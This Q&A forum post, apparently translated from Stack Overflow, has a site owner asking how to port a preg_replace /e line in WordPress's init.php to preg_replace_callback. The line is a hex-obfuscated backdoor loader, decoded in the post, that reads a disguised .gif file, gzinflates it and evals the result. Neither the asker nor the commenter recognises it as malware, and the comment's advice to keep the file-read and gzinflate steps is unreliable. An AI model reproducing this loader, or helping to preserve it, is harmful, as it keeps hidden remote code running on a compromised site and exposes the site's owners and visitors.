【发布时间】:2021-05-06 02:12:44
【问题描述】:
我正在更新我网站的 PHP,当我尝试将其更新到最新的 PHP 版本时,我收到以下消息:
警告:preg_replace():不再支持 /e 修饰符,请在第 291 行的 /home/customer/www/---.org/public_html/wp-includes/init.php 中使用 preg_replace_callback 代替
这是我要更改的行:
preg_replace("/.*/e","\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b","");
我需要将其更改为 preg_replace_callback 但我对这部分感到困惑:
\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\ x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\ x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\ x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\ x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b
我如何翻译那部分?
当我使用在线解码器时,它看起来像这样:
eval('$pagexyz = @file_get_contents("wp-includes/images/smilies/icon_wtf.gif");eval(@gzinflate($pagexyz));');
【问题讨论】:
-
为什么要在这里使用正则表达式?你似乎只需要
$pagexyz = file_get_contents("wp-includes/images/smilies/icon_wtf.gif"); gzinflate($pagexyz);。完全删除preg_replace。
标签: php wordpress preg-replace preg-replace-callback